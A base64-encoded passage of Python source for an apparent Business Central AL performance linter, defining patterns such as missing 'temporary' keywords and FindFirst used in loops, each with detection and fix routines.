CUIEZpbmRTZXQoKSByZXR1cm5zIGZhbHNlIHdoZW4gZW1wdHkiCiAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICByZXR1cm4gZmluZGluZ3MKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIHJldHVybiByZS5zdWIoCiAgICAgICAgICAgIHInWyBcdF0raWYgbm90IChcdyspXC5Jc0VtcHR5XChcKSB0aGVuXHMqXG4oWyBcdF0rKWlmIFwxXC5GaW5kU2V0XCgnLAogICAgICAgICAgICByJ1wyaWYgXDEuRmluZFNldCgnLAogICAgICAgICAgICB0ZXh0CiAgICAgICAgKQoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgUEFUVEVSTiAxMSDigJQgTWlzc2luZyAndGVtcG9yYXJ5JyBrZXl3b3JkIG9uIHRlbXAgdGFibGUgdmFyaWFibGUKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJNSVNTSU5HX1RFTVBPUkFSWSIsCiAgICBncm91cD0iTWVtb3J5IC8gQ29waWVzIiwKICAgIHNldmVyaXR5PSJISUdIIiwKICAgIHRpdGxlPSJUZW1wIHRhYmxlIHZhcmlhYmxlIG1pc3NpbmcgJ3RlbXBvcmFyeScga2V5d29yZCIsCiAgICBkZXNjcmlwdGlvbj0oJ0Egbm9uLXRlbXBvcmFyeSByZWNvcmQgc2VuZHMgZXZlcnkgSW5zZXJ0L0dldC9EZWxldGUgdG8gU1FMIFNlcnZlci4gVXNpbmcgYSByZWd1bGFyIHRhYmxlIGFzIGFuIGluLW1lbW9yeSBzY3JhdGNocGFkIGNhdXNlcyB1bm5lY2Vzc2FyeSBTUUwgcm91bmQtdHJpcHMsIHRyYW5zYWN0aW9uIGxvZyB3cml0ZXMsIGFuZCBsb2NrIGNvbnRlbnRpb24uIERlY2xhcmluZyB0aGUgdmFyaWFibGUgXCd0ZW1wb3JhcnlcJyBrZWVwcyBhbGwgb3BlcmF0aW9ucyBpbiBOU1QgbWVtb3J5LlxuXG5TUUwgSU1QQUNUOiBXaXRob3V0IHRlbXBvcmFyeTogSU5TRVJUIElOVE8gLyBTRUxFQ1QgLyBERUxFVEUg4oCUIGZ1bGwgU1FMIGZvciBlYWNoIG9wLlxuV2l0aCB0ZW1wb3Jhcnk6IEFsbCBvcGVyYXRpb25zIGluIE5TVCBtZW1vcnkg4oCUIHplcm8gU1FMIHJvdW5kLXRyaXBzLlxuXG5CQUQ6ICBUZW1wRGF0YTogUmVjb3JkIFxcIldvcmtzaG9wIERhdGFcXCI7XG5HT09EOiBUZW1wRGF0YTogUmVjb3JkIFxcIldvcmtzaG9wIERhdGFcXCIgdGVtcG9yYXJ5O1xuXG5ISU5UOiBJbnNlcnQgMSAwMDAgcm93cyB3aXRoIGFuZCB3aXRob3V0IFwndGVtcG9yYXJ5XCcuIFdpdGhvdXQ6IHdhdGNoIDEgMDAwIElOU0VSVHMgaW4gU1FMIFByb2ZpbGVyLiBXaXRoIHRlbXBvcmFyeTogemVybyBTUUwgYWN0aXZpdHkuJyksCiAgICBleGVyY2lzZXM9WzEyXSwKKQpjbGFzcyBQYXR0ZXJuTWlzc2luZ1RlbXBvcmFyeToKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBkZXRlY3QodGV4dDogc3RyKSAtPiBsaXN0W2RpY3RdOgogICAgICAgIGZpbmRpbmdzID0gW10KICAgICAgICBsaW5lcyA9IHRleHQuc3BsaXRsaW5lcygpCiAgICAgICAgZm9yIGksIGxpbmUgaW4gZW51bWVyYXRlKGxpbmVzKToKICAgICAgICAgICAgIyBWYXJpYWJsZSBkZWNsYXJlZCB3aXRoIFRlbXAgcHJlZml4IGJ1dCBubyAndGVtcG9yYXJ5JyBrZXl3b3JkCiAgICAgICAgICAgIGlmIHJlLnNlYXJjaChyJ1xiVGVtcFx3K1xzKjpccypSZWNvcmRccysnLCBsaW5lKSBhbmQgJ3RlbXBvcmFyeScgbm90IGluIGxpbmUgYW5kIG5vdCBsaW5lLnN0cmlwKCkuc3RhcnRzd2l0aCgnLy8nKToKICAgICAgICAgICAgICAgIGZpbmRpbmdzLmFwcGVuZCh7CiAgICAgICAgICAgICAgICAgICAgImxpbmUiOiBpICsgMSwKICAgICAgICAgICAgICAgICAgICAic25pcHBldCI6IGxpbmUuc3RyaXAoKVs6MTIwXSwKICAgICAgICAgICAgICAgICAgICAibWVzc2FnZSI6ICJWYXJpYWJsZSB3aXRoICdUZW1wJyBwcmVmaXggaXMgbWlzc2luZyAndGVtcG9yYXJ5JyBrZXl3b3JkIgogICAgICAgICAgICAgICAgfSkKICAgICAgICByZXR1cm4gZmluZGluZ3MKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIHJldHVybiByZS5zdWIoCiAgICAgICAgICAgIHInKFRlbXBcdytccyo6XHMqUmVjb3JkXHMrW147XSspOyg/IVxzKi8vLip0ZW1wb3JhcnkpJywKICAgICAgICAgICAgbGFtYmRhIG06IG0uZ3JvdXAoMCkucnN0cmlwKCc7JykgKyAnIHRlbXBvcmFyeTsnIGlmICd0ZW1wb3JhcnknIG5vdCBpbiBtLmdyb3VwKDApIGVsc2UgbS5ncm91cCgwKSwKICAgICAgICAgICAgdGV4dAogICAgICAgICkKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMTIg4oCUIFRlbXAgdGFibGUgdXNlZCBhcyBEaWN0aW9uYXJ5ICh1c2UgRGljdGlvbmFyeSB0eXBlKQojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IlRFTVBfVEFCTEVfQVNfRElDVCIsCiAgICBncm91cD0iTWVtb3J5IC8gQ29waWVzIiwKICAgIHNldmVyaXR5PSJNRURJVU0iLAogICAgdGl0bGU9IlRlbXAgUmVjb3JkIHRhYmxlIHVzZWQgYXMgYSBrZXktdmFsdWUgbG9va3VwICh1c2UgRGljdGlvbmFyeSBpbnN0ZWFkKSIsCiAgICBkZXNjcmlwdGlvbj0oIkV2ZW4gYSAndGVtcG9yYXJ5JyB0YWJsZSBjYXJyaWVzIHJlY29yZC1sYXllciBvdmVyaGVhZDoga2V5IGluZGV4ZXMsIHRyYW5zYWN0aW9uIHN0YXRlIHRyYWNraW5nLCBzY2hlbWEgdmFsaWRhdGlvbiBvbiBldmVyeSBvcGVyYXRpb24uIEZvciBzaW1wbGUga2V54oaSdmFsdWUgbWFwcGluZyAoZS5nLiBDdXN0b21lck5vIOKGkiBTYWxlc3BlcnNvbkNvZGUpLCB0aGUgYnVpbHQtaW4gRGljdGlvbmFyeSBvZiBbSywgVl0gdHlwZSBoYXMgemVybyBEQiBvdmVyaGVhZC5cblxuU1FMIElNUEFDVDogVGVtcCB0YWJsZToga2V5IGluZGV4IG1haW50ZW5hbmNlLCByZWNvcmQgc3RydWN0IG92ZXJoZWFkIHBlciBlbnRyeS5cbkRpY3Rpb25hcnk6IGRpcmVjdCBoYXNoIG1hcCBsb29rdXAg4oCUIE8oMSkgR2V0L1NldCwgbm8gcmVjb3JkIG92ZXJoZWFkLlxuXG5CQUQ6ICBUZW1wQ3VzdG9tZXI6IFJlY29yZCBDdXN0b21lciB0ZW1wb3Jhcnk7IFRlbXBDdXN0b21lci5JbnNlcnQoKTsgVGVtcEN1c3RvbWVyLkdldCguLi4pO1xuR09PRDogUm91dGluZ01hcDogRGljdGlvbmFyeSBvZiBbQ29kZVsyMF0sIENvZGVbMjBdXTtcbiAgICAgIFJvdXRpbmdNYXAuU2V0KC4uLiwgLi4uKTsgaWYgUm91dGluZ01hcC5Db250YWluc0tleSguLi4pIHRoZW4gLi4uXG5cbkhJTlQ6IENvbXBhcmUgR2V0L1NldCBvcGVyYXRpb25zIG9uIHRlbXAgdGFibGUgdnMgRGljdGlvbmFyeS4gTWVhc3VyZSB0aW1lIGZvciAxMCAwMDAgbG9va3VwcyBlYWNoIHdheS4iKSwKICAgIGV4ZXJjaXNlcz1bMTNdLAopCmNsYXNzIFBhdHRlcm5UZW1wVGFibGVBc0RpY3Q6CiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICBmaW5kaW5ncyA9IFtdCiAgICAgICAgbGluZXMgPSB0ZXh0LnNwbGl0bGluZXMoKQogICAgICAgIGZvciBpLCBsaW5lIGluIGVudW1lcmF0ZShsaW5lcyk6CiAgICAgICAgICAgIG0gPSByZS5zZWFyY2gocicoVGVtcFx3Kylccyo6XHMqUmVjb3JkXHMrXFMrXHMrdGVtcG9yYXJ5JywgbGluZSkKICAgICAgICAgICAgaWYgbm90IG06CiAgICAgICAgICAgICAgICBjb250aW51ZQogICAgICAgICAgICB2YXIgPSBtLmdyb3VwKDEpCiAgICAgICAgICAgICMgTG9vayBhaGVhZCBmb3IgYm90aCBJbnNlcnQgYW5kIEdldCBvbiBzYW1lIHZhciDigJQgY2xhc3NpYyBkaWN0IHBhdHRlcm4KICAgICAgICAgICAgcmVzdCA9ICdcbicuam9pbihsaW5lc1tpOm1pbihsZW4obGluZXMpLCBpKzYwKV0pCiAgICAgICAgICAgIGlmIHJlLnNlYXJjaChyZidcYntyZS5lc2NhcGUodmFyKX1cLkluc2VydFwoJywgcmVzdCkgYW5kIHJlLnNlYXJjaChyZidcYntyZS5lc2NhcGUodmFyKX1cLkdldFwoJywgcmVzdCk6CiAgICAgICAgICAgICAgICBmaW5kaW5ncy5hcHBlbmQoewogICAgICAgICAgICAgICAgICAgICJsaW5lIjogaSArIDEsCiAgICAgICAgICAgICAgICAgICAgInNuaXBwZXQiOiBsaW5lLnN0cmlwKClbOjEyMF0sCiAgICAgICAgICAgICAgICAgICAgIm1lc3NhZ2UiOiBmIid7dmFyfScgdXNlZCBhcyBrZXktdmFsdWUgc3RvcmUgKEluc2VydCtHZXQgcGF0dGVybikg4oCUIHByZWZlciBEaWN0aW9uYXJ5IG9mIFsuLi5dIgogICAgICAgICAgICAgICAgfSkKICAgICAgICByZXR1cm4gZmluZGluZ3MKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIHJldHVybiB0ZXh0CgoKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKIyBQQVRURVJOIDEzIOKAlCBGaW5kRmlyc3QoKSB1c2VkIGZvciBsb29wIGl0ZXJhdGlvbgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IkZJTkRGSVJTVF9JTl9MT09QIiwKICAgIGdyb3VwPSJEYXRhIFRyYW5zZmVyIiwKICAgIHNldmVyaXR5PSJISUdIIiwKICAgIHRpdGxlPSJGaW5kRmlyc3QoKSB1c2VkIGZvciBtdWx0aS1yb3cgaXRlcmF0aW9uIChidWZmZXIgc2l6ZSAxKSIsCiAgICBkZXNjcmlwdGlvbj0oJ0ZpbmRGaXJzdCgpIGdlbmVyYXRlcyBTRUxFQ1QgVE9QIDEg4oCUIGZldGNoZXMgZXhhY3RseSBvbmUgcmVjb3JkLiBXaGVuIHVzZWQgdG8gc3RhcnQgYSBsb29wIChjYWxsaW5nIE5leHQoKSByZXBlYXRlZGx5KSwgZXZlcnkgTmV4dCgpIGNhbGwgdGhhdCBleGhhdXN0cyB0aGUgYnVmZmVyIGZpcmVzIGEgbmV3IFNFTEVDVCBUT1AgNTAuIEZpbmRTZXQoKSBwcmUtZmV0Y2hlcyA1MCByb3dzIGltbWVkaWF0ZWx5IOKAlCBmYXIgZmV3ZXIgU1FMIHF1ZXJpZXMuXG5cblNRTCBJTVBBQ1Q6IEZpbmRGaXJzdDogU0VMRUNUIFRPUCAxIC4uLiB0aGVuIFNFTEVDVCBUT1AgNTAgcGVyIGJhdGNoIGluIE5leHQoKS5cbkZpbmRTZXQ6ICAgU2luZ2xlIFNFTEVDVCB0aGF0IGVzdGFibGlzaGVzIHRoZSBmdWxsIHJlYWQgY3Vyc29yLlxuXG5CQUQ6ICBpZiBSZWNvcmQuRmluZEZpcnN0KCkgdGhlbiByZXBlYXQgLi4uIHVudGlsIFJlY29yZC5OZXh0KCkgPSAwO1xuR09PRDogaWYgUmVjb3JkLkZpbmRTZXQoKSB0aGVuIHJlcGVhdCAuLi4gdW50aWwgUmVjb3JkLk5leHQoKSA9IDA7XG5cbkhJTlQ6IFRyYWNlIFNRTCBxdWVyaWVzIGZvciBhIDUwMC1yb3cgbG9vcCB3aXRoIEZpbmRGaXJzdC4gRmluZEZpcnN0IGZpcmVzIFNFTEVDVCBUT1AgMSBmaXJzdCwgdGhlbiBOZXh0IGJhdGNoZXMuIEZpbmRTZXQgZmlyZXMgb25lIFNFTEVDVCBhbmQgaGFuZGxlcyBiYXRjaGluZyBpbnRlcm5hbGx5LicpLAogICAgZXhlcmNpc2VzPVsxNF0sCikKY2xhc3MgUGF0dGVybkZpbmRGaXJzdEluTG9vcDoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBkZXRlY3QodGV4dDogc3RyKSAtPiBsaXN0W2RpY3RdOgogICAgICAgIGZpbmRpbmdzID0gW10KICAgICAgICBsaW5lcyA9IHRleHQuc3BsaXRsaW5lcygpCiAgICAgICAgZm9yIGksIGxpbmUgaW4gZW51bWVyYXRlKGxpbmVzKToKICAgICAgICAgICAgbSA9IHJlLnNlYXJjaChyJyhcdyspXC5GaW5kRmlyc3RcKFwpJywgbGluZSkKICAgICAgICAgICAgaWYgbm90IG0gb3IgbGluZS5zdHJpcCgpLnN0YXJ0c3dpdGgoJy8vJyk6CiAgICAgICAgICAgICAgICBjb250aW51ZQogICAgICAgICAgICB2YXIgPSBtLmdyb3VwKDEpCiAgICAgICAgICAgICMgTG9vayBhaGVhZCBmb3IgTmV4dCgpIG9uIHNhbWUgdmFyCiAgICAgICAgICAgIGFoZWFkID0gJ1xuJy5qb2luKGxpbmVzW2k6bWluKGxlbihsaW5lcyksIGkrMjApXSkKICAgICAgICAgICAgaWYgcmUuc2VhcmNoKHJmJ1xie3JlLmVzY2FwZSh2YXIpfVwuTmV4dFwoXCknLCBhaGVhZCk6CiAgICAgICAgICAgICAgICBmaW5kaW5ncy5hcHBlbmQoewogICAgICAgICAgICAgICAgICAgICJsaW5lIjogaSArIDEsCiAgICAgICAgICAgICAgICAgICAgInNuaXBwZXQiOiBsaW5lLnN0cmlwKClbOjEyMF0sCiAgICAgICAgICAgICAgICAgICAgIm1lc3NhZ2UiOiBmIid7dmFyfS5GaW5kRmlyc3QoKScgZm9sbG93ZWQgYnkgTmV4dCgpIOKAlCB1c2UgRmluZFNldCgpIGZvciBtdWx0aS1yb3cgaXRlcmF0aW9uIgogICAgICAgICAgICAgICAgfSkKICAgICAgICByZXR1cm4gZmluZGluZ3MKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIGRlZiByZXBsYWNlKG0pOgogICAgICAgICAgICB2YXIgPSBtLmdyb3VwKDEpCiAgICAgICAgICAgIHBvcyA9IG0uZW5kKCkKICAgICAgICAgICAgYWhlYWQgPSB0ZXh0W3Bvczpwb3MrMzAwXQogICAgICAgICAgICBpZiByZS5zZWFyY2gocmYnXGJ7cmUuZXNjYXBlKHZhcil9XC5OZXh0XChcKScsIGFoZWFkKToKICAgICAgICAgICAgICAgIHJldHVybiBmInt2YXJ9LkZpbmRTZXQoKSIKICAgICAgICAgICAgcmV0dXJuIG0uZ3JvdXAoMCkKICAgICAgICByZXR1cm4gcmUuc3ViKHInKFx3KylcLkZpbmRGaXJzdFwoXCknLCByZXBsYWNlLCB0ZXh0KQoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgUEFUVEVSTiAxNCDigJQgRmluZFNldCBndWFyZCBiZWZvcmUgTW9kaWZ5QWxsICh1bm5lY2Vzc2FyeSkKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJGSU5EU0VUX0JFRk9SRV9NT0RJRllBTEwiLAogICAgZ3JvdXA9IkJ1bGsgT3BlcmF0aW9ucyIsCiAgICBzZXZlcml0eT0iTUVESVVNIiwKICAgIHRpdGxlPSJGaW5kU2V0KCkgZ3VhcmQgYmVmb3JlIE1vZGlmeUFsbCgpIOKAlCB1bm5lY2Vzc2FyeSAoZG91YmxlIHNjYW4pIiwKICAgIGRlc2NyaXB0aW9uPSgnQ2FsbGluZyBGaW5kU2V0KCkgaW1tZWRpYXRlbHkgYmVmb3JlIE1vZGlmeUFsbCgpIGZpcmVzIGFuIGV4dHJhIFNFTEVDVCBqdXN0IHRvIGNvbmZpcm0gcm93cyBleGlzdC4gTW9kaWZ5QWxsKCkgYWxyZWFkeSBoYW5kbGVzIGVtcHR5IHJlc3VsdCBzZXRzIGdyYWNlZnVsbHkg4oCUIGl0IGRvZXMgbm90aGluZyBpZiBubyByb3dzIG1hdGNoIHRoZSBjdXJyZW50IGZpbHRlcnMuIFRoZSBGaW5kU2V0IGlzIHB1cmUgb3ZlcmhlYWQgd2l0aCB6ZXJvIGZ1bmN0aW9uYWwgYmVuZWZpdC5cblxuU1FMIElNUEFDVDogRXh0cmEgcXVlcnk6IFNFTEVDVCBUT1AgNTAgLi4uIChvbmx5IHRvIGNoZWNrIGV4aXN0ZW5jZSkuXG5UaGVuOiBVUERBVEUgLi4uIFdIRVJFIC4uLiAoTW9kaWZ5QWxsIOKAlCBkb2VzIHRoaXMgYW55d2F5KS5cbldpdGggRmluZFNldDogMiBxdWVyaWVzIChTRUxFQ1QgKyBVUERBVEUpLiBXaXRob3V0OiAxIHF1ZXJ5IChVUERBVEUgb25seSkuXG5cbkJBRDogIGlmIFJlY29yZC5GaW5kU2V0KCkgdGhlbiBSZWNvcmQuTW9kaWZ5QWxsKC4uLik7XG5HT09EOiBSZWNvcmQuTW9kaWZ5QWxsKC4uLik7XG5cbkhJTlQ6IExvb2sgYXQgU1FMIGJlZm9yZSBNb2RpZnlBbGwgd2l0aCBhbmQgd2l0aG91dCBGaW5kU2V0LiBXaXRoIEZpbmRTZXQ6IDIgcXVlcmllcy4gV2l0aG91dDogMSBxdWVyeS4nKSwKICAgIGV4ZXJjaXNlcz1bMTVdLAopCmNsYXNzIFBhdHRlcm5GaW5kU2V0QmVmb3JlTW9kaWZ5QWxsOgogICAgX1JFID0gcmUuY29tcGlsZShyJ2lmXHMrKFx3KylcLkZpbmRTZXRcKFwpXHMrdGhlblxzK1xuP1xzK1wxXC5Nb2RpZnlBbGxcKCcsIHJlLk1VTFRJTElORSkKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICByZXR1cm4gX2ZpbmRpbmdzKHRleHQsIFBhdHRlcm5GaW5kU2V0QmVmb3JlTW9kaWZ5QWxsLl9SRSwKICAgICAgICAgICAgICAgICAgICAgICAgIGxhbWJkYSBtOiBmIkZpbmRTZXQoKSBndWFyZCBiZWZvcmUgTW9kaWZ5QWxsKCkgb24gJ3ttLmdyb3VwKDEpfScgaXMgcmVkdW5kYW50IikKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIHJldHVybiByZS5zdWIoCiAgICAgICAgICAgIHInaWZccysoXHcrKVwuRmluZFNldFwoXClccyt0aGVuXHMqXG4oXHMrKVwxXC5Nb2RpZnlBbGxcKCcsCiAgICAgICAgICAgIHInXDJcMS5Nb2RpZnlBbGwoJywKICAgICAgICAgICAgdGV4dAogICAgICAgICkKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMTUg4oCUIFNldEZpbHRlciBvbiBGbG93RmllbGQgKHVzZSBTZXRBdXRvQ2FsY0ZpZWxkcyArIEFMIGZpbHRlcikKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJTRVRGSUxURVJfT05fRkxPV0ZJRUxEIiwKICAgIGdyb3VwPSJGbG93RmllbGRzIiwKICAgIHNldmVyaXR5PSJISUdIIiwKICAgIHRpdGxlPSJTZXRGaWx0ZXIgb24gRmxvd0ZpZWxkIGNhdXNlcyBjb3JyZWxhdGVkIHN1YnF1ZXJ5IHBlciByb3ciLAogICAgZGVzY3JpcHRpb249KCJTZXRGaWx0ZXIgb24gYSBGbG93RmllbGQgKGUuZy4gQmFsYW5jZSwgd2hpY2ggaXMgYSBDYWxjRmllbGQpIGNhbm5vdCBiZSBwdXNoZWQgdG8gdGhlIFNRTCBXSEVSRSBjbGF1c2Ug4oCUIGl0IGhhcyBubyBwaHlzaWNhbCBjb2x1bW4uIEJDIG11c3QgZmV0Y2ggQUxMIHJvd3MgbWF0Y2hpbmcgdGhlIG90aGVyIGZpbHRlcnMsIHRoZW4gY29tcHV0ZSB0aGUgRmxvd0ZpZWxkIGZvciBlYWNoIHJvdyBpbmRpdmlkdWFsbHkgYW5kIGZpbHRlciBpbiBBTC4gRnVsbCB0YWJsZSBzY2FuLlxuXG5TUUwgSU1QQUNUOiBTRUxFQ1QgYWxsIHJvd3MgLi4uIHRoZW4gcGVyIHJvdzogU0VMRUNUIFNVTSguLi4pIGZvciBGbG93RmllbGQuXG5TUUwgY2Fubm90IGZpbHRlciBvbiBhIGNvbXB1dGVkIHZhbHVlIGl0IGhhc24ndCBjYWxjdWxhdGVkIHlldC5cblxuQkFEOiAgQ3VzdG9tZXIuU2V0RmlsdGVyKEJhbGFuY2UsICc+JTEnLCAwKTsgaWYgQ3VzdG9tZXIuRmluZFNldCgpIHRoZW4gLi4uXG5HT09EOiBDdXN0b21lci5TZXRBdXRvQ2FsY0ZpZWxkcyhCYWxhbmNlKTtcbiAgICAgIGlmIEN1c3RvbWVyLkZpbmRTZXQoKSB0aGVuIHJlcGVhdCBpZiBDdXN0b21lci5CYWxhbmNlID4gMCB0aGVuIC4uLlxuXG5ISU5UOiBUcnkgU2V0RmlsdGVyKEJhbGFuY2UsICc+MTAwMCcpIOKAlCBjaGVjayB0aGUgU1FMIFdIRVJFLiBCYWxhbmNlIHdvbid0IGFwcGVhciBpbiBXSEVSRSDigJQgYWxsIHJvd3MgZmV0Y2hlZC4gQ29tcGFyZSB3aXRoIGZpbHRlcmluZyBvbiBhIG5vcm1hbCBpbmRleGVkIGRlY2ltYWwgZmllbGQuIiksCiAgICBleGVyY2lzZXM9WzE2XSwKKQpjbGFzcyBQYXR0ZXJuU2V0RmlsdGVyT25GbG93RmllbGQ6CiAgICAjIENvbW1vbiBGbG93RmllbGRzIGluIEJDCiAgICBfRkxPV0ZJRUxEUyA9IHsnQmFsYW5jZScsICdCYWxhbmNlIChMQ1kpJywgJ1NhbGVzIChMQ1kpJywgJ1B1cmNoYXNlcyAoTENZKScsCiAgICAgICAgICAgICAgICAgICAnT3V0c3RhbmRpbmcgT3JkZXJzJywgJ091dHN0YW5kaW5nIEludm9pY2VzJywgJ05ldCBDaGFuZ2UnfQogICAgX1JFID0gcmUuY29tcGlsZShyJyhcdyspXC5TZXRGaWx0ZXJcKChbXiwpXSspLCcsIHJlLk1VTFRJTElORSkKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICBmaW5kaW5ncyA9IFtdCiAgICAgICAgZm9yIG0gaW4gUGF0dGVyblNldEZpbHRlck9uRmxvd0ZpZWxkLl9SRS5maW5kaXRlcih0ZXh0KToKICAgICAgICAgICAgZmllbGQgPSBtLmdyb3VwKDIpLnN0cmlwKCkuc3RyaXAoJyInKQogICAgICAgICAgICBpZiBmaWVsZCBpbiBQYXR0ZXJuU2V0RmlsdGVyT25GbG93RmllbGQuX0ZMT1dGSUVMRFM6CiAgICAgICAgICAgICAgICBsaW5lID0gX2ZpbmRfbGluZSh0ZXh0LCBtLnN0YXJ0KCkpCiAgICAgICAgICAgICAgICBmaW5kaW5ncy5hcHBlbmQoewogICAgICAgICAgICAgICAgICAgICJsaW5lIjogbGluZSwKICAgICAgICAgICAgICAgICAgICAic25pcHBldCI6IG0uZ3JvdXAoMClbOjEyMF0sCiAgICAgICAgICAgICAgICAgICAgIm1lc3NhZ2UiOiBmIlNldEZpbHRlciBvbiBGbG93RmllbGQgJ3tmaWVsZH0nIOKAlCB1c2UgU2V0QXV0b0NhbGNGaWVsZHMgKyBBTC1zaWRlIGZpbHRlciIKICAgICAgICAgICAgICAgIH0pCiAgICAgICAgcmV0dXJuIGZpbmRpbmdzCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGZpeCh0ZXh0OiBzdHIpIC0+IHN0cjoKICAgICAgICByZXR1cm4gdGV4dAoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA